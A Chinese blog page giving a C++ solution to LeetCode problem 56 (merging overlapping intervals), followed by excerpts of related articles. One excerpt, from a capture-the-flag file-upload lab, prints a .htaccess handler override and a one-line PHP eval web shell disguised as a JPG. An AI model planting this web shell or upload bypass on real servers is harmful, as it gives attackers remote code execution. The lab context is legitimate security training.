​LeetCode解法汇总56. 合并区间

news2024/11/25 0:16:58

目录链接:

力扣编程题-解法汇总_分享+记录-CSDN博客

GitHub同步刷题项目:

https://github.com/September26/java-algorithms

原题链接:力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台


描述:

以数组 intervals 表示若干个区间的集合,其中单个区间为 intervals[i] = [starti, endi] 。请你合并所有重叠的区间,并返回 一个不重叠的区间数组,该数组需恰好覆盖输入中的所有区间 。

示例 1:

输入:intervals = [[1,3],[2,6],[8,10],[15,18]]
输出:[[1,6],[8,10],[15,18]]
解释:区间 [1,3] 和 [2,6] 重叠, 将它们合并为 [1,6].

示例 2:

输入:intervals = [[1,4],[4,5]]
输出:[[1,5]]
解释:区间 [1,4] 和 [4,5] 可被视为重叠区间。

提示:

  • 1 <= intervals.length <= 104
  • intervals[i].length == 2
  • 0 <= starti <= endi <= 104

解题思路:

* 解题思路:

* 首先按照intervals[i].left的大小排序,然后选出第一个为header,header和后面的一一比较,分为三种情况:

* 1.header.right<interval.left;此时说明两个区间不相交,则把header加入out中,并且更新interval为header;

* 2.header.right>=interval.right;此时说明header完全覆盖interval,则可以直接跳过;

* 3.header.right<interval.right;此时说明两个区间有相交则相互不能完全覆盖,则更新header的right,等于区间合并。

代码:

class Solution56
{
public:
    vector<vector<int>> merge(vector<vector<int>> intervals)
    {
        sort(intervals.begin(), intervals.end(), [](vector<int> v1, vector<int> v2)
             { return v1[0] - v2[0] < 0; });
        vector<vector<int>> out;
        vector<int> header;
        for (vector<int> interval : intervals)
        {
            if (header.size() == 0)
            {
                header = interval;
                continue;
            }
            if ((header)[1] < interval[0])
            {
                out.push_back(header);
                header = interval;
                continue;
            }
            if ((header)[1] >= interval[1])
            {
                continue;
            }
            header[1] = interval[1];
        }
        out.push_back(header);
        return out;
    }
};

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/953599.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用ccs中 exclude from build功能,源代码不能去除/恢复到工程里

1、使用ccs免不了将源文件从工程里去除&#xff0c;或者重新添加到工程里&#xff0c;一般使用功能exclude from build&#xff0c;如下示&#xff1a;在.c上有键就可以看到 2、有时候用这个功能时&#xff0c;经常会出现ccs没有反应了&#xff0c;不能正常将源代码去除/恢复到…

.NET Meetup in Shanghai

点击蓝字 关注我们 作为一个开源的开发平台&#xff0c;.NET 在开源领域的探索从未止步。在如今风云变幻的大背景下&#xff0c;.NET 开源都会遇到哪些阻力&#xff1f;是什么让我们继续拥抱开源&#xff1f;我们将如何克服当下开源之路所面临的困难&#xff1f;开源 .NET 又将…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…

成都瀚网科技:抖音商家如何报名超值购?

为保护抖音消费者权益、规范商家经营行为&#xff0c;抖音对商城超值购物、招商引资等方面做出了详细规定。我们来看看详细信息&#xff1a; 第一条【宗旨和依据】为了倡导开放、透明、共享、责任的新商业文明&#xff0c;保护抖音商城用户和商户的合法权益&#xff0c;合理利用…

十九、状态模式

一、什么是状态模式 状态&#xff08;State&#xff09;模式的定义&#xff1a;对有状态的对象&#xff0c;把复杂的“判断逻辑”提取到不同的状态对象中&#xff0c;允许状态对象在其内部状态发生改变时改变其行为。 状态模式包含以下主要角色&#xff1a; 环境类&#xff08…

关于浏览器中使用迅雷组件下载文件的问题

目录 前言 场景 问题 解决 前言 在项目开发中肯定会涉及到下载导出功能&#xff0c;对于开发人员来说一般习惯使用谷歌、火狐等其他浏览器进行功能测试&#xff0c;例如谷歌浏览器支持加入扩展程序&#xff0c;扩展程序的位置在&#xff1a;点击右上角三个点>找到设置点开…

Windows和Linux环境中安装Zookeeper具体操作

1.Windows环境中安装Zookeeper 1.1 下载Zookeeper安装包 ZooKeeper官网下载地址 建议下载稳定版本的 下载后进行解压后得到如下文件&#xff1a; 1.2 修改本地配置文件 进入解压后的目录&#xff0c;将zoo_example.cfg复制一份并重命名为zoo.cfg,如图所示&#xff1a; 打…

飞天使-python的面向对象

文章目录 面向对象面向对象思想类的定义和使用继承封装多态访问控制 参考视频 面向对象 面向对象思想 面向过程和面对对象的区别是什么&#xff1f; 答: 复用性高&#xff0c;面向对象类的定义和使用 类型里面的定义的时候 self 不能省去&#xff0c;应该写出 class person:…

uni-app:允许字符间能自动换行(英文字符、数字等)

<template><view class"container"><!-- 这里是你的文本内容 -->{{ multilineText }}</view> </template><style> .container {word-break: break-all; } </style>例如&#xff1a; <template><view class"…

射频牛人教你前端滤波器的制作

前端滤波器的制作分析 在射频前端不加滤波器&#xff0c;接收效果会大打折扣。这个折扣有多大呢&#xff1f;一般的来说在天线良好的情况下距离至少会差2倍。而且&#xff0c;天线地势越高&#xff0c;接收效果越差&#xff01;为什么呢&#xff1f;因为当今的天空充斥着大量各…

抖音视频删了怎么在电脑上找回来

【昨天整理电脑文件时&#xff0c;不小心将剪辑好的抖音作品误删了&#xff0c;但是回收站中找不回来了&#xff0c;这些视频是我花了很多心血制作的&#xff0c;如果没了真的十分可惜&#xff01;希望大家能帮帮我&#xff0c;告诉我应该如何恢复这些文件。】 现在人们都喜欢…

【谷粒商城】开发篇三:微服务组件 SpringCloud SpringCloud Alibaba

谷粒商城微服务应用说明 SpringCloud Alibaba SpringCloud Alibaba 简介 SpringCloud Alibaba 简介 Spring Cloud Alibaba 致力于提供微服务开发的一站式解决方案。此项目包含开发分布式应用微服务的必需组件&#xff0c;方便开发者通过Spring Cloud 编程模型轻松使用这些组件…

MySQL用navicat工具对表进行筛选查找

这个操作其实很简单&#xff0c;但是对于没操作的人来说&#xff0c;就是不会呀。所以小编出这一个详细图解&#xff0c;希望能够帮助到大家。话不多说看图。 第一步&#xff1a; 点进一张表&#xff0c;点击筛选。 第二步&#xff1a; 点击添加 第三步&#xff1a; 选择要…

vConsole调试工具的三种使用方式

1.在html页面时, 在页面引入 cdn 方式引入 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" co…

前端将UTC时间格式转化为本地时间格式-uniapp写法

UTC时间格式是什么 首先我们先简单的了解一下&#xff1a;UTC时间&#xff08;协调世界时&#xff0c;Coordinated Universal Time&#xff09;使用24小时制&#xff0c;以小时、分钟、秒和毫秒来表示时间 HH:mm:ss.SSSHH 表示小时&#xff0c;取值范围为00到23。mm 表示分钟…

Tomcat安装及配置教程-Windows和Linux

本文主要介绍Windows版本Tomcat部署的详细步骤和列出Linux部署的简要细节命令,其中Windows从一到七,Linux用第八个标题讲述 一,安装 1,打开官网,https://tomcat.apache.org/,选择Tomcat 8.5.93版本,点击Download,根据系统版本选择压缩包 2,下载完毕,将压缩包解压,将所有文件放…

Gartner IDC:超融合回归“软件定义”本质,“全栈软件”成为厂商关键能力

近日&#xff0c;IDC 发布了《中国软件定义存储&#xff08;SDS&#xff09;及超融合存储系统&#xff08;HCI&#xff09;市场季度跟踪报告&#xff0c;2023 年第一季度》&#xff08;以下简称“跟踪报告”&#xff09;。不同于以往报告主要关注一体化超融合系统&#xff0c;这…

无涯教程-Android - DatePicker函数

Android Date Picker允许您在自定义用户界面中选择由日,月和年组成的日期。为此功能,android提供了DatePicker和DatePickerDialog组件。 在本教程中,我们将通过DatePickerDialog演示日期选择器的用法, DatePickerDialog是一个包含DatePicker的简单对话框。 为了显示DatePicker…

15、监测数据采集物联网应用开发步骤(11)

源码将于最后一遍文章给出下载 监测数据采集物联网应用开发步骤(10) 程序自动更新开发 前面章节写了部分功能模块开发&#xff1a; 日志或文本文件读写开发;Sqlite3数据库读写操作开发;定时器插件化开发;串口(COM)通讯开发;TCP/IP Client开发;TCP/IP Server 开发;modbus协议…

胜券汇:行业持续轮动 缺乏主线下关注反转预期的方向

前史行情4年一轮回&#xff0c;中心在于微观环境的类似性。首要&#xff0c;复盘前史&#xff0c;2016-2019年和2020年至今的行情走势较为类似&#xff0c;历经约1年半的长牛&#xff0c;约1年的长熊&#xff0c;阅历1个季度快速反弹后继续约3个季度的震动期。其次&#xff0c;…